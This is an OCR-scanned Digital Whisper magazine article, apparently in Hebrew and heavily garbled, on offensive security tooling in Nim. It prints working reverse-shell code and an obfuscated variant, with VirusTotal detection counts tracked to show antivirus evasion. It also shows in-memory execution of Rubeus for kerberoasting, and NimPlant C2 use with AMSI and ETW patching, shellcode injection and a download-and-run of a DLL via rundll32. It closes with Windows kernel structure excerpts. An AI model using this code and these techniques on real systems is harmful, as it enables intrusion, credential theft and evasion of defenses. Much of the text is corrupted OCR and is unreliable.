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Unleashing the Power of Nim
ExploringOffensive Tactics in Cybersecurity
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¥ ! xJ . Debian, « X " Kuw MM T 4T84

sudo apt install nim

YArch~ x *

sudo pacman -S nim

¥ I x < s Wihdowst PE, * xIwxiw s ) N A0x 7 4

nim ¢ -d:mingw Zcpu:amd64 myProgram.nim

Yeverse sheft 1 x | x*ox T7]0s{7, €s3%s ff 1" & x|

import net
import osproc
let remoteHost = "

let remotePort = Port(8000)

proc main() =
var sock: Socket

CEY:
sock = newSocket()

sock.connect(remoteHost, remotePort)

while true:
let cmd = sock.recvLine()
let result = execProcess(cmd)
sock.send(result)
except:
echo "Failed to connect"”
defer:
sock.close()

main()

g:l\_LXX J

b 4w L X XN Ss D ¥ x s | xDefendert X LS . . S KX s

>

Y " oxxlics s (;‘=v-|‘_“u_ q X >" WWUSTOtaJX . X X .S

(} 25/70 security vendors and no sandboxes flagged this file as malicious

25

/70
b3ad3984dcc9f334d1d889efdcdelc37565aca040145d019f79f74bd5cTeb015

shell.exe

Community pecxe  B4bits
Score
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https://nim-lang.org/documentation.html
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LoD S U X X R LA XX R X X e s ] e, X s

~ v~ o~ A ~ >

Yo7 x4 s 1x L exs X0 x, ]
import net, osproc, strutils, os

let h
let p

Port(8000)

proc m() =
var s: Socket

try:
s = newSocket()
s.connect(h, p)

while true:
let ¢ = s.recvLine().strip()
if ¢ = "exit":
s.send("Exiting..\n")
break
elif ¢ = "cd":
os.setCurrentDir("C:\\")

s.send("Changed directory to C:\\\n")
elif c.startswith("cd "):
let newDir = c.split(' ')[1]

try:
os.setCurrentDir(newDir)
s.send("Changed directory to " & newDir & "\n")
except OSError as e:
s.send("Error: " & repr(e) & "\n")
continue
else:
let result = execProcess(c)
s.send(result & "\n")
except:
echo "Failed to connect”
finally:
s.close()

WirusTotaf X x .« x | x 7

@ 16/69 security vendors and no sandboxes flagged this file as malicious

16

/ 69
1bTa3186d73528c07f03b95578804f4a763c659748e8e8daafdf01fd101abalal
shell_obf6.exe

Community pooe owverlay B4 bits

Score

® s x4y 4 |> o s X 544" X°|X¢XJ“\-§ { s Cl_\jm X,, S

> wv v

Unleashing the Power of Nim
www. DigitalWhisper.co.il
y H o ",%627 x { L ¥




Technologic

let endTime = now() + 30.seconds
var 1 = 1

while now() < endTime:
discard

S L X HTIRZES Iy 44 now)s 4« X Xtmess 44 .0« s, x "

v <

”
LN

s s . Q0% s by X ssxox T dpow()d T 1% Gs s {7, xIoXE XX xS

o~ ~ < >

X qsyt o L4 d L xxsLiisy Tt _discards ~ S @6 {0 S 44 _ s

~ ~ wn > v~ A ~

S OXX Y T 4R X pFoxTss X X x 0 XosxIT] g x  { X
l \ @ 13/71 security vendors and no sandboxes flagged this file as malicious
/1
1c8d41c5514c010704f4e23be2ab282¢568e2d37d920b9c0baaal5663ebbT01b
shell_obfT.exe
Community peexe  B4bits  overlay
Score
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shell_obf7.exe nim
/usr/lib/ /lib/std/private/digitsutils.
/usr/1lib/ /lib/system/arithmetics.

/usr/1ib/ /lib/system/comparisons.

/usr/lib/: 1/1lib/system/gc.
GCunrefNoCycle

/usr/1lib/ /lib/system/fatal.

Nim:- x " | :) s~ “E YdX, . ”°-|x><x,_s“~$ X 4 . “s”"x><>:|’s>s><y x "7 X x ELLXSJq[II q

RS S EY- S T TR T J4es ¥ s © S e 4747 Avdrfag __ ANimm

L X 4., s " FXs s

P XX s i o xes 4 S ] s kx4 | X hblireleaséy, Y I %x 4 s

~ ~

@ ¢, _debugging symbold ~ + 7 % s 9 4 g Y X
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S 4w 4 Beds T TS xGUHAX, L Y . Sd v~ Ay XS wgppigub ¥ IS
H P L - X x X X o Jaixx X ¥ B dsxq_s

> o~ v ~ v~ v v oA v v ~

C : : shell_obf9.nim

17 dslot s « " Poxse s 44 sy Tovstips DX o % 1% TS, X 7 X

Y X -|v:x'|,-,{<:|i1:x1’1|_-|£xsi(ﬁ-|:sx|_|_ X:LXACNX”] IS\
~/nim/nim

shell_obf9.exe

~/nim/nim
shell_obf9.exe

~/nim/nim
shell_obf9.exe

(D 7/71 security vendors and no sandboxes flagged this file as malicious

II..
.?

11d6b502dc0de1323d44be2c2faf0d51268279e96c0aabadb0eb615c2e03e377
shell_obf9.exe

Community peexe  B4bits

Score

Jobdd e qd %" s

Pl AT A e 4 4Ed . XIS T NImL X S X g T4UTSEXAE 4§ X I sX e

A

Yo, Yo P X X0 8 X L XX ROXORRRA . X XD Io b VX

a

&) shell_obf9.exe
p 01 02 03 04 05 06 07 08 09 04 OB OC OD QOE OF Decoded text
b oo oo oo oo |Replace =
F 73 70 72 6F -
L 34 28 20 &0 Text-string  Hex-values Integer number Floating point number
I 3D 3D 20 &E
¢} 6C 65 45 61 Search for: m w
I 2E &5 72 T2 | |
pooc 85 20 21 Replace with: |I|:|I V|
| 4E 44 4C 435
P OO 0D OO0 OO0 Options Search direction
F 73 70 72 &F Text encoding: Al
I 34 29 20 &0 - -

Editor encodin ~

| 30 3D 20 of ( g) (®) Forward
L - i - . Backward
poeC B3 42 6l ] Case sensitive O Backwar
I 2ZE &F 75 T4
B 6C 65 20 21 [1Prornnt nn renlace

Unleashing the Power of Nim
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] shell_obf.exe

01 02 03

20 00 00
: 6F &3
60 TO

04

EE
6l

.

12 53
21 3D
45 5

00 00 00
N
2 60 TO

Decoded text

osproc.lol (774,

| PR Mevwnnn @
osproc.lol (775, Information >
14) "p.errStream
== nil or. F
ileHandleStream( o Replaced 21 occurrences of "nim”,
p.errStream) .han
dle != INVALID H
RNDLE _WVALUE®
Beenres me.. .0

14) ‘p.outStream

~/nim/nim
shell_obf9.exe

~/nim/nim
shell_obf9.exe

~/nim/nim

shell_obf9.exe nim

~/nim/nim
shell_obf9.exe

-y
6

325dc142fB624d8290e18bTa737a5c250150eefaf5c8f22858331c1a%7a521b0

shell_obfd.exe

@ 6/71 security vendors and no sandboxes flagged this file as malicious

Community peoxe  Bebits
Score
AL DXL x4 AT x PXOx]sx s gEmor 4 WX feo ]

Youdd ¥y XXl siox 0, x g 7] s kST @y TS X

File name

= | |C\Users\adminishell_obf3.exe

File type File size
PEG4 = 170.00 Kig

Scan Endianness
Automatic - LE
~ PER4

Linker: GNU linker Id {GMNU Binutils)(2.40)[GLIG&4]
Compiler: Nim
Language: Minn

E Detect It Easy v3.09 [Windows 10 Version 2009] (x86_64)

Mode
&4-bit

Operation system: Windows(Server 2003)[AMDg4, 64-bit, GUI]

Unleashing the Power of Nim

www.DigitalWhisper.co.il

H o ",%627 x { L ¥



Technologic

Mox AT st

Detect It Easy v3.09 [Windows 10 Version 2009] (x36_64)

File name

> | |Ci\WUsers\adminishel_obf9.exe

File type File size
PES4 - 170.00 Kig
Scan Endianness Mode
Automatic - LE 64-bit
* PEG4
Operation system: Windows(Server 2003)[AMD6G4, 64-bit, GUI]

Linker: GNU linker Id (GNU Binutils)(2.40)[GUIB4]

X XS € X e XLl A4S Spodl L X . f AN X XS] ¥
Yo X s T TN 1 ] KB W X 1 x s

v

~/nim

hello.nim
echo "Hello, World!"

M7 x IO 108 S 40l Iscoo Tox o X YT s L o xox

\

(D 9/71 security vendors and no sandboxes flagged this file as malicious

[T1
8be9e2521d352b212fhcfabe43ff3d25Tc96631735bb1d91b3809c965178h334
hello.exe
Community oK Babits
Score

1 <« Nmr ~ 1 _ 1

>

x « 1 Nimd F x d 4 ¢ Hxox o ¥y x 1 1 Byt3bl33den _OffensiveNint « 1 4 x .. s
Y _ _ Widdows API of NigWinimc » « 4+, % ™ 19
d® x . .NETAssemblies~ ~ ¢ §
PPIBSpoofing 1
ETW & AMSI Patch{
Unhooks EDR hooks from ntdll.dlIff

Shellcode Runners §
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« XsoowiRimis T4 o 07

nimble install winim

X L~ X NBND X" Lis x4 Tnimble & 4 4 1 4 . pipmes X xnimble

Dime - x4~ x 19 % T sy

oL dof A . L x0die 4 -~ 79 ® . exdeute_assembly bin.nimd 40 1S

A~ >

®limL S+~ % xx.i*x x {Rubeusl 1+ | *

import winim/clpr
import sugar

import strformat

# Just pops a message box... or does it? ;)

var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0,0x3,0x0,0x0,0x0,08x4,0x0,08x0,0x0,8xff,8xff,0x0,0x0,0xb8,0x0,0x0, Ox

echo "[*] Installed .NET versions”
for v in clrVersions():

echo fmt" \--- {v}"
echo "\n"

echo

var assembly = load(buf)

dump assembly

#[

# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/0ffensiveNim/issues/9

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())

var mn = fromCLRVariant[string](assembly.EntryPoint.Name)

echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"

echo fmt"[*] EntryPoint.MethodName: *{mn}""

var t = assembly.GetType(dt)

var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array

@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args

1#

var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args

assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

1,884 4 x Ises” {4 _afrs " ¢ _OMessagebox 1 A4~ x 1 xs0s

~

¥l x o .x Xx (s ,8sr{q" X ¥ ., o«

var cmd: seq[string]
i 1 .. paramCount():
cmd.add( paramsStr (i))

echo cmd
let arr toCLRVariant (cmd, VT_BSTR)
t. invoke (mn, flags, clrArgs);

Unleashing the Power of Nim
www.DigitalWhisper.co.il
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https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
https://github.com/GhostPack/Rubeus

c A 10X - X T 01 A ek sis X L X s L s p 41 YL X s

I BSTR, OMETI+ « X 1 5. % [ & «

>

Powershelll | {1~ « % “vluw®* X i%d 1. 1«Rubeus o , _ 4« X 4

YCSharpToNimByteArray.psl1>* s

PS C:\Users\admin\Rubeus\bin\Debug> . .\CSharpToNimByteArray.psl

PS C:\Users\admin\Rubeus\bin\Debug> CSharpToNimByteArray .\Rubeus.exe
Converting .\Rubeus.exe

Result Written to .\Rubeus.exeNimByteArray.txt

PS C:\Users\admin\Rubeus\bin\Debug>

var buf: array[ 502784, byte] [byte O0x4D, Ox5A, 0x90, OXO0A

Y 4 1 %" us | sx bxecute_assembly bin.nmns ~» _§ 8 4 «x% [ X

winim/ clr
sugar
strformat
0s
var buf: array[ 502784, byte] [byte
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,.. .0 x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
echo "[*] Installed .NET versions"
v clrVersions ():
echo fmt " \--- {v} "
echo "\ n"

echo
var assembly load (buf)

dump assembly

var cmd: seq([string]
i 1 .. paramCount():
cmd.add( paramStr (i))

echo cmd

var dt fromCLRVariant[string](assembly.EntryPoint.DeclaringType. ToString ()

var mn fromCLRVariant[string](assembly.EntryPoint.Name)

var t assembly. GetType(dt)

var flags BindingFlags_ Static BindingFlags_Public BindingFlags_InvokeMethod

var arr toCLRVariant (cmd, VT_BSTR)
1. invoke (mn, flags, arr)

PS C:\Users\admin\Rubeus\bin\Debug> nim c release .\execute_assembly_binl.nim
used config file 'C:\Users\admin\Downloads\nim-2.0.0_x64\nim-2.0.0\config\nim.cfg’
used config file 'C:\Users\admin\Downloads\nim-2.0.0_x64\nim-2.0.0\config\config.nims"'

mm: orc; threads: on; opt: speed; options: -d:release
148142 Tines; 11.409s; 464.484MiB peakmem; proij: C:\Users\admin\Rubeus\bin\Debug\execute_assembly_binl.nim;
out: C:\Users\admin\Rubeus\bin\Debug\execute_assembly_binl.exe

Unleashing the Power of Nim
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CSharpToNimByteArray.ps1

PS C:\Users\admin\Rubeus\bin\Debug> .\execute_assembly_binl.exe kerberoast /format:hashcat

[*] Installed .NET versions
\-—- v4.0.30319

assembly = Rubeus, Version=1.0.0.0, Culture=neutral, PublickeyToken=null
@["kerberoast"”, "/format:hashcat"]

[*] Action: Kerberoasting

YA, xMmxndhds s x4« wd,__ Rubeus s « 4!

@ 49/71 security vendors and 1 sandbox flagged this file as malicious

d230a3b5el21924ec9fledbffdaa30ld8gbfleacebzb26b3828272b3938fa3ec

Rubeus.exe

Community proe assembly detect debug environme
Score

Wim>*  x {1 Rubeus s , -~ ¥ ¥ p®mm_*x

@ 21/72 security vendors and no sandboxes flagged this file as malicious

7211db6733d81688:08f783eaT3ac275156ec2cacaccl32c28e684dbldesd%d4

execute_assembly_binl.exe

Community P E4bit

Score

O I ST« S VAN I B B ATIRHE S SRR B B IR Rl S

~ v >v v v >

Y LLX N SV kS :(X\cF Lol EL X , v|.1,,“q:#|_ o X W S

~ o~ A ~

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt decrypt bin.nim

https://github.com/icyguider/Nimcrypt2
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Nimrt * x © €2 implantWimPlant: «~ . Qas van Cooter(ifensiveNimi « 1 4 ¥ » , s s X

@4 LTOgRY XD X

>

NimPlantrd * X « 1 Retl Teaming « 1 ¥_-X: *{ _ X Pqgst Exploitatiod L+ 1x Nimplant

a a

R PODTIRS:- INNIORSENS S IR SN e O N I S I I T AR XPUIXX X o

P ool e A e KA KK Dk 1SSl e A LA x

<= 11 configtomit S 4« . X Y AKX w5 x 7 { Github* 1 1. 08 T . TS ey

Y . ~Ls~|p.s XX ol X

hostname

ip = "

A2 R R B PO

~/NimPlant
NimPlant.py server myfirstserver

* *(# e
e wk (i
braimiaieiainies ( Fokdkkddokk
nnxw(nnnnnnnnnnn************,****
#f HEHHEEE *hkkhkhkhkkk K
g :=:= 3 KKk
BB i imimimimimimd Jedkdedk ek ek
fiocasasg * ok *kkk
brmimimim i i mg * Xk khkhkkhkhkhkhk
T Ak kkkk kkkkkkk
T it * Kok kKK
brmimimiain Qg it *¥x *kkk | dkkkkk
brmimimimimim e Fdkdkdkdkdkdkkkkdkkkk
bimimimimimim i Jedded ek ek ek
fimimimimimimemoms g SRR TS
frmimemimimems g 2 ST SR

= =Nl I —
N 1) S 1 7l | B
Il A )
| e N I ]

A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)
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https://github.com/chvancooten/NimPlant
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Ynéxtjs: ~ €. XX 8 L s UM 4 Xe A L

~ ~ ~

<« C @ Q 0O 127.0.0.1:31337

KaliLinux # KaliTools « KaliDocs ¥ KaliForums < Kali NetHunter Exploit-DB Google Hacking DB Offsec

4 Home

A Home
Server

Downloads

Nimplants

out the Github

ormation,

©) View on GitHub W Follow me on Twitter

Y 7oA _taxqlxk o, Tsy o x e

[12 21 @:56|NP1] NIMPLANT HELP

Command argume shown as [reguired] <optionals>.
I) can be run without parameters wvia the web UI.

e Cancel all pending ta
cat [filename] Print a

|
cd [directory] Change th

cancel (5.

5
le’'s contents to the
e working directory.

¥Iox & LS % aXsE X wsx D4

NimPlant.py  compile all

~/NimPlant
NimPlant.py compile all

*(# #
ok wk(H  ##

s ( *hkkkkhk
(I ok ke k ke dkkdkk | kkdk
8 sunnunnns khkkhkhkhkhkk *
L ¥k
B *kkkkkkk
I feses-4 * ok *kkk
B =1 *Hk kkkkkkkkk
HHEHHHE . Ak kkkk Rkkkkkhk
nnn feoe * *oke *hkkkk
feo:a:asssa: Jues:aes 38 *x *hkkk | hhkkkkk
I dedkdedede ek ke ke
s *hkkkhkhkhhh
ST % 4 ke ke ke dede &

S ok ke kkkeke ke

A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant

Compiling self-deleting .exe for NimPlant

Compiling .dll for NimPlant

Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in ‘client/bin/'.

dlient/bin™ 4 “r" A TEX] X X ] X
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WE<dll/e & e x 1ox

{D 19/71 security vendors and no sandboxes flagged this file as malicious

812139e231a27f1e980e4b32f5adBf606f3eTcaded418829b19638cc366e31bT

NimPlant.dll

FO" A" kL~ ¥y A ONImplantn | 7 ook A 7 X THOXEGss s G 4 s XXy

L . x".|A“ny>$|)|_|_><-||_ x Is” Nim L X € x . 1s s ”lexxo“xLxZ“\s“{Z A”

Y X x s

°

~/NimPlant/client/bin
NimPlant.dll nim

~/NimPlant/client/bin
NimPlant.dll NimPlantl.dll

~/NimPlant/client/bin
VA NimPlant1.dll

X & 4 WNBNL -t 44 A0S S X Taimmains 4 .« 7 ¥ s o Sspox L X

Y 17 | xxiqéntry point)s | 4 T 1 s o7

—_

~/NimPlant/client/bin
NimPlant1.dll nimmain

YWT* % x N X 1ox 7

A

@ 4/73 security vendors and no sandboxes flagged this file as malicious

NS

-]
ad

db075944137a0caT4d08df1eb9Tecd0ef0dcfd799fTadeal 7f3382fb2daT23df

MimPlant1.dll

¥l x o s Xor s:‘x Xiw S« o $ s. x IIx 7]

rundli32.exe . \ NimPlant1.dll,Update

LA IR

C:\Usershadmin> iwr http:// : .:8086/NimPlantl.dll Nimplantl.dll
C:\Users\admin> rundl132.exe .\NimPlantl.dll,KUpdate
C:\Users\admin>

p
p
p

-
>
L=y
p
5
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Y « - [ ss " x ¢ KY L Xed5., Is o Xx | X

El Nimplants

Home
Server
Downloads
1- Yh4Dcwam admin @ DESKTOP-KL2V3UF
Nimplants
Y x I Xxxy isx, v~ 1~ Vimplants < xs? 7

E Nimplant #Yh4Dcwam

@ Information

[12/©5/2824 23:8@:56] > help

[12/@5/2024 23:00:56) NIMPLANT HELP

Command arguments shown as [required] <optional=.

Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks.

cat [filename] Print a file's contents to the screen.

cd [directory] Change the working directory.

clear Clear the screen.

cp [source] [destination] Copy a file or directory.

curl [url] Get a webpage remotely and return the results.
download [remotefilepath] <localfilepath> Download a file from
env Get environment variables.

execute-assembly (GUI) <BYPASSAMSI=@> <BLOCKETW=8> [localfilepath] <ar
exit Exit the server, killing all NimPlants.

getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.

¥ " ¢ .~ 44 ishellcodes « 4 ~ ¢ shinject- 1:s” { $1 x « |

select [id] Select another NimPlant.

shell [command] Execute a shell command.

(GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified
process's memory space using dynamic invocation.

sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
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¥
14

.Technoloqgi

VX1 sEdx < aSsde e ]

Shinject: Inject and execute shellcode X

Execute shellcode in a selected target process using dynamic invocation.

Select shellcode file

>_ Execute

© 0

x «s®DF _ x {41 4. « xONimPlant.bin, * x . s _ shellcodes R AN R

~ Ao

Yss | X o % S LRI 4 4 x4 40 S T 1 cdonut, X T14sd xi.. §s X

[13/05/2024 13:47:19] > ps

[13/05/2024 13:47:22] PID NAME

4 System @
92 Registry 4
324 smss.exe 4
440 CSISS.exe 432

Y 1 44"~ xExplorerexe _PIOY. 1> 7

Shinject: Inject and execute shellcode X

Execute shellcode in a selected target process using dynamic invocation.

File: NimPlant.bin

® 8672

Y« " s kmplantt X % .05 9. L X

<

1-Yh4Dcwam admin @ DESKTOP-KL2V3UF

2-ZKY65TSU admin @ DESKTOP-KL2V3UF

Unleashing the Power of Nim
www. DigitalWhisper.co.il
H N H o ",%627 x { L ¥



https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut

BT echnologi

Yed team: x o X, 1% IsX X, “executeassembly 1:s1 . « 15 xX

>>

TuTT [UTIT Ut & WeUpagT TemoUTeIy anu TeTUITT TTe TeSUITS™
download [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.

(GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory.
AMSI/ETW patched by default. Loads the CLR.

exit Exit the server, killing all NimPlants.

X . 145 Net assemblies - 3 « 1. _ inline execute assembly * ~ 1« 4 7. 1%{x¥I

efidpoint: x " xxcix g AP ¥ ] o4 4 X sa4xS 1My

YXLasm xdoasd oA )

Execute-Assembly: Execute .NET program

Execute a .NET (C#) program in-memory.
Caution: Running execute-assembly will load the CLR!

Select .NET binary

(v Patch AMSD (v Block ETW)

LS~ 890 x4, ,Xs v s 4 amsic |, « k¥, X0 ZXI 4 114

X X
Y‘*x,,oj CxX s

Execute-Assembly: Execute .NET program X

Execute a .NET (C#) program in-memory.
Caution: Running execute-assembly will load the CLR!

File: Rubeus.exe

kerberoast /format:hashcat

(v Patch AMSD (v Block ETW)

>~ Execute

® 11 G# sl . ¥mSharpCollection « 1 4 x i X3 { 47
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¥« XSy L83 .53,

[*] Executing...

(——©\ |1

[14/05/2024 00:57:42] > execute-assembly BYPASSAMSI=1 BLOCKETW=1 "/home/kali/NimPlant/server/

[14/05/2024 00:57:44]
[+] AMSI already patched!
[+] ETW already patched!

uploads/server-mgSnvMIW/Rubeus.exe" kerberoast /format:hashcat

Executing .NET assembly from memory...

— )= e
I — /1 =M= =)
LN D)y — ] I —
(0 I P p— ) — I/
v2.3.2

FXol A

s 4 xx <« x o IsT ¢ Jliggr ADAT X TS T X S 1 Nims | ‘s« .Ahdreas Rumpf

Lo XX, L X %

X

Foxo o8 T ox DA e

. x:~,,-|H>?<‘>’<X<F,,.{ ”s~<.“:’x" JF:LSXAX

40 spi{Xy s X7 » j:xx L 1e ”~J X: ixs” '|:V|“‘X\, AQAZZX LS X Xsxq ;0 47

macros: 1~ P 0% H % D x4 P Kool s g Xy x ] F o lispr X . 4~ S

1« 4 xs.,. ] sNins | LIxX]% « LS X L X "X L,WX4s s o X S 4

DO1 |V

| ”
’” .
> o~ o~ ~ ~ o~

Ethereum 2. x « X1 ¥ ¥ Onimbuseth2. xss s | x4 ¥ s

T S T TR BRI NN e I BRI R s« _OffensiveNimt « 1 x .

~ ~ ~ >~

1uX o 7 Xt

>

S

Fo L INIx s dxoL X L i A LSk 4 0 X O 1S

>

1 _OffensiveNim*= « 1 Nimm+ 4 » X+ 1« 74X BSH A X ¢ | 4 x tadxy__ 11

@O XX L[0T XL x 8L

XA AR xR X T T ANIM X sl dAse ) XX x ) L]

>~

¢

S ,isUs. NimH oA | o e o "X L7 sk tid e e XS T A 8 s sy

~

Nimm » % _ w XL k48 S XA AMe x "« Sss_ {45 1dl_T_$xxsx1ls

D 4 Y E X YA XIS x o x

~

Y x¥d4l o K 4 sy x o (FensiveNim x * « X

®Nim: o, X C2x X T x 1 L e xssHfiNimplant

o~ X xos ox (gyseallsy 1 - F X« 4 AN L s« 1§ 4 ¥TNimSyscallPacker

Ax 4787y

~

Sxox 4 x T xie]X, x4 . 4 s H 4 TNImGetSyscallStub |
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https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
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ST s Lo x A e o8 e x s s xd smllimerypt2 |
L LI O I N B T

soxixx o NI, PoCsr 1 1 d x11s4 riNimperiments
@A et A A0St C NimL o X 0 X dedds ) xvded 1 o4 X

rr W

https://medium.com/@freegames16/evadingindowsdefenderwith-nim-56007c037 2ff

Evading Windows Defender with Nim

https://s3cur3th1sshit.github.io/Playirwith-OffensiveNim/- Bypassing Windows

protection mechanisms & Playing with OffensiveNim
https://www.youtube.com/watch?v=119169gW2FA&ab_channel=DanielLowrlee
SECRET of NIMCreating RED TEAM TOOLS with-INing

https://trustfoundry.net/2021/03/01/writing-bast-offensivetooling-in-nim/ - Writing Basic

Offensive Tooling in Nim

https://www.proofpoint.com/us/blog/threat-insight/nimzaloadeita800snew-initial-access

malware
https://www.youtube.com/watch?v=QWZJL1Ei _Qg&ab channel=Flan@Vikcking out
NimPlant

https://www.youtube.com/watch?v=FBuTX6brrsA&ab channel=Prelidalware Dev with

Nim: A Case Study in NimPlant
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https://github.com/RePRGM/Nimperiments
https://github.com/RePRGM/Nimperiments
https://medium.com/@freegames16/evading-windows-defender-with-nim-56007c0372ff
https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
https://www.youtube.com/watch?v=1l9169qW2FA&ab_channel=DanielLowrie
https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.youtube.com/watch?v=QWZJL1Ei_Qg&ab_channel=Flangvik
https://www.youtube.com/watch?v=FBuTX6brrsA&ab_channel=Prelude
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1« - s Windows Kernel

LAY

~

AN

X ,splxg , xs X {7 X § s, Isv”xJX .4 TSP X H v X "X s X

TXed sy " Ied, 6l 0 s X s kXSS s A 1T x| s
I 4 vbad”, x11§ 8 oS3 4 S & Dy

v~

LoX ¥ s isfs, DY i ydss |1 o x Windowst 4 L 7 - < § _TSxxI 4 x 8]

L L e L ed DX X L s{ R f X o] X T TS dsX X ] s x

T T T B I e A 'S EHRAT U A CPCRRN

~ ~ ~

S x % x X Do oy X qEsiid o HH deads XY A T )L T kX T 0L

1501 4.2 «~ s 4117947 Jedd A7) fy {4 s 1. s Ly

YAd 4> 1

«PatchGuard+Y_ ¥ xWindows Kerngt . = x " x xs" ¥ S|4 {04 "s 6, f
B 4y Y b Tl X T X ax Lhex "y X x DT HgperGuard

17 X4 Y I XEsxpe, X 5 40 T Xt 4 e x ], X 40 x, 9
@ Protection RingXernel Mode/User ModeDXivers™ * WXl o S x |  iSXS] »  x 7 X

T BV B D% B S R S Cooonsd s e 2 T XY X XX A

@ X s XX Xy Y T g s S e ok B I L A%d Xk { o XSO 8L

Jd 4 Windows10 21/22h& |, 14 ¢ S« ~ ST ¥ x {Xx v x p 47 FJs K
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X4 qixlsq o,

Foao xS X ] indlowse » A4 d o XL 40 L XSS L o e XX TR T use 14 T s

~

A7 A4 X4 deXe o xsa sl x p @ s su_ 1 X 4 v ¢ X PE . XS (., SX X

'~ v > v

®4Lx. XX ds. DOjiverBntrye 41~ I+ % 9X7Lentry points x| 1e L 4 X TS

Lo Xeld o~ pdb, X x ¥ oexer " Ixx D P 45X 4 4% w1 D s | exténsiont
DriverEntrys = + x Windowst + 4 ~» * d 4w~ ! 9 x| .44 1~ symbolst : -
) S % AL T DA B> I NI

"C" NTSTATUSDriverEntry (_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath) {

STATUS_SUCCESS;

¥uox o #4744, -
L IDWORD _typedef1 x « xs ¢ x NOIBTATUS* | + ¥ S, x . 8 ]x] .5 s

1« X I ¥ nacror s 2101 s «  OSTATUS_SUCCESS¥2l+_ 1 1~ y 4+ls s
Windows. _headent

L) sk Xy Xl s 4 xS sx | Bx v As . s

> ~ ~

Y «olo 0 _structit @ 4 Ao lIsq X sI@ B4 4 XX s T

f struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 11];
} DRIVER_OBJECT, * PDRIVER_OBJECT;

. X q L LoX L ] x v XXq4444,.11ss Lo s Xopxx X ox o8 Tixxy, ]l oy s s

~ > ~ A ~

PR B B B . R B B B F , ( MajorFdinctientable) = ~ s <+ _
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S T uLT LY. dndoadt "L % X Ax L ) imdgesd_ . 1sx v T ox

(x0l x v A1 A4 XX Lx L] , X1 ox 4. x4

‘2 . serVicet ¥ A A Au-_ 15 | registryt L X L o~ XSS x o FT7 L8l . s

S~ ~ ~

rapistryt x 4 1 {1, x ! 41 { sWindows. _service managet 1 'v1~ 1> 41 d ¥ !
IYL tdle s 45 1 A 4Ly ds®dgx s

~

\ \RegistryMachina SystemiCurrentControlSéServicesDriverServiceName

L " o~ % Xstruetsor 1 7 X

S L% FAs ) XsEk L o8 Lok IXX s x fid] s kossq L " P P RS

ORE RN R SR VI DR NEE BD Tole T T B N N N N | T A R T
LIST ENTRY

oA o x v 4 tostructit e 4 ] oS, S X H X F sopsxilxy | Xxos &7 X
Y x » % pode¥ . 4 LIST_ENTRM " 4 %« | odev - { LIST_ENTRY 1 -

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;

~

struct _LIST _ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, PRLIST ENTRY

L s . xipstances 4+ %X «<Aulrdd " % 1 1 ST ENTRYAV- 4 { 8ouX s 7 X (s ] |
A YAsHTILST ENTRYX | 4 1 X H Isy”s* o ¥ xagtribute _ 1 | x4 OBuble linked list
®” % 51" attrbutex @ ¥ soffsetrt I <1 M. 180 "4 -8 x g Isynsx

Loov X8 o 42X sl 1Sy s ? X siox XX x XOx ks

Lo X PR v 1oX X XY JaX LS $X e xS T Sy, g xS

®&SoD * !

ETHREAMEPROCESS

T b eSOl A d 946 =¥ s AxdL stuctst _ x| 4 Windowst L 7 4« X

WINDBG * L # yeactOSvergilius _+14 1 « X G X ss” X sl x fxi 7 {7

~ a ~
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X wa $iSew S 0F B o 4L« .Sx J {WINDBGE A ¢ T 8x 1ML 4
YIox « x8 ¥ X% x s | xf

ct _ACTEPROCESS {
ACTKPROCESS Pcb;
EX_PUSH_LOCK ProcesslLock;
PVOID UniqueProcessId;
LIST_ENTRY ActiveProcessLinks;
EX_RUNDOWN_REF RundownProtect;
UINT Flags2;

UINT Flags;

LARGE_INTEGER CreateTime;
